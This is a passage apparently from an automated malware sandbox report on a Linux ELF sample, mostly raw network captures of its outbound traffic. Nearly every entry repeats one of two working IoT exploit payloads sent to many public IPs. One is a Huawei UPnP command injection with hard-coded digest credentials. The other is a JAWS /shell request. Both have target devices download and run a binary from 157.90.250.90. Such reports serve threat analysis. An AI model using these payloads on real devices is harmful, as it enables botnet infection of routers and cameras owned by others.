22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	59226	116.216.114.6	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.848752975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	42840	189.147.217.224	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.849328041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	39612	191.228.77.210	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.849864006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	38702	180.60.94.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.964514017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	35332	174.196.88.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.965183020 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	39456	156.146.98.24	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.965758085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	40120	131.59.130.94	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.967680931 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	42236	197.1.206.139	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:53.946511984 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	42152	60.178.102.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.006259918 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	53344	156.100.250.170	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.060225964 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	56676	197.199.137.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.061105013 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	44256	156.219.192.223	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.061804056 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	35002	197.81.175.206	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.062454939 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	50762	41.67.28.55	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.063186884 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	48634	156.210.38.127	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.063873053 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	50676	156.13.215.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.064564943 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	44398	150.222.20.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.116460085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	58022	42.222.254.70	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.117126942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	54800	89.137.176.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.117696047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	42992	82.147.27.113	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:54.118252993 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: x86_64.elf PID: 6216, Parent PID: 6132

General

Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	/tmp/x86_64.elf
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

